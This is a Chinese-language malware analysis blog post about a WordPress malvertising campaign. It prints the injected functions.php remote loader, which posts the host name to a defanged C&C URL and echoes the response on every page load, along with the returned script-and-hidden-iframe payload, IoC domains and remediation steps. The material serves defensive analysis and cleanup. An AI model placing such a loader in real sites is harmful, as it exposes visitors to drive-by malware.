WordPress网站恶意广告活动:隐藏在functions.php中的技术剖析

本文详细分析了针对WordPress网站的一场恶意广告活动。攻击者通过修改主题的functions.php文件,注入远程加载代码,窃取控制网站前端并投放恶意脚本。文章深入解析了攻击链、技术指标和具体的修复步骤,为网站安全防护提供了实用指南。

WordPress网站恶意广告活动隐藏在显而易见之处

近期,我们的一位客户注意到其WordPress网站上加载了可疑的JavaScript。访问者被提供了网站所有者从未安装的第三方脚本。

经过调查,我们发现感染源于当前活动主题functions.php文件中的一个恶意修改。这段注入的PHP代码会静默地从攻击者控制的域获取外部JavaScript,并将其插入到网站前端。

入侵背后

我们在客户的网站上发现了一个可疑脚本正在加载。查看页面源代码后,我们发现了以下内容:

1
<script src='hxxps://porsasystem[.]com/6m9x[.]js?ver=1.3.4'></script>

这一行代码是我们的第一个线索。我们开始深入挖掘,发现在我们调查时,这个JavaScript文件至少在17个网站上加载。在VirusTotal上的快速搜索证实了我们的怀疑,该域名被17家安全供应商列入了黑名单。

在对网站文件进行全面扫描后,我们在主题functions.php文件的底部发现了一段看起来真实的代码块。这个看似无害的小函数是整个恶意广告活动的入口点。

入侵指标 (IoCs)

  • brazilc[.]com
  • porsasystem[.]com

剖析恶意软件

functions.php中的远程加载器

在主题functions.php文件的底部,我们找到了这个ti_custom_javascript()函数。乍一看,它似乎无害。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
function ti_custom_javascript() {
    $url = 'hxxps://brazilc[.]com/ads[.]php';
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, 'data=' . urlencode($_SERVER['HTTP_HOST']));
    $response = curl_exec($ch);
    curl_close($ch);
    echo $response;
}
add_action('wp_head', 'ti_custom_javascript');

注入的函数通过wp_head在每次页面加载时运行。它会联系一个远程URL。

初始的PHP代码只是钥匙,真正的威胁在于它获取的内容。

恶意响应

该代码与位于hxxps://brazilc[.]com/ads[.]php的命令与控制(C&C)服务器建立POST连接,然后使用echo将响应直接打印到HTML文档的<head>中。

当我们手动请求远程端点时,收到了以下有效载荷:

1
<script>document.write('<script src="hxxps://porsasystem[.]com/6m9x[.]js?ver=1.3.4"><\/script>');</script><iframe src='about:blank' style='display:none' width='1' height='1' frameborder='0'></iframe><script data-cfasync='false' async>/* 此处是一长串混淆的JavaScript */</script>

这个动态负载执行双重攻击:

  1. porsasystem[.]com/6m9x[.]js加载的脚本是客户报告的重定向和弹窗的主要引擎。该域充当流量分发器,加载负责强制重定向等操作的更多恶意脚本。
  2. 剩余冗长的JavaScript会创建一个隐藏的1x1像素iframe。在这个iframe内部,它注入模仿合法Cloudflare操作(cdn-cgi/challenge-platform/scripts/jsd/main.js)的代码。这是攻击者使用的一种安全规避技术,用于绕过安全工具或安全代码执行。

data-cfasync='false'async属性用于避免Cloudflare Rocket Loader的干扰,并异步加载脚本,使其不会阻塞页面渲染。

为什么这很危险?

网站访问者会被注入类似虚假Cloudflare验证的偷渡式下载恶意软件等恶意内容。

修复步骤

所有网站都应采取多项预防措施。

  1. 保持插件、主题和网站软件更新。始终修补到最新版本,以帮助降低已知软件漏洞的风险。网站访问者也应确保其浏览器和操作系统保持最新。
  2. 定期扫描后门和恶意软件。这意味着在服务器和客户端级别进行扫描,以识别可能潜伏在您网站上的任何恶意注入、SEO垃圾邮件或后门。我们的网站安全计划包括一个每天运行多次的服务器端扫描程序,用于检查文件更改和注入的恶意软件。
  3. 对所有帐户强制执行唯一密码。这包括sFTP、数据库、cPanel和管理员用户的凭据。
  4. 监控日志中的入侵指标。定期检查异常或可疑行为,并考虑在您的网站上使用文件完整性监控系统。
  5. 获取Web应用程序防火墙(WAF)。防火墙可以帮助缓解坏机器人、防止暴力攻击并检测您环境中的攻击,这些是Sucuri防火墙提供的功能。

结束章节

这次感染展示了攻击者如何滥用微小的主题修改来获得对网站前端的控制权。functions.php中多出的几行代码就足以从外部域加载恶意JavaScript并危及每个访问者会话。而且,这些代码看起来还很逼真。

清理站点需要移除注入的代码,检查其他后门,并加固环境以防止再次感染。定期更新、强凭证和监控仍然是防御此类WordPress恶意软件活动的最佳方法。

如果您认为您的站点已被入侵,我们可以提供帮助!请联系我们的支持团队寻求帮助,我们可以为您清理恶意软件。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计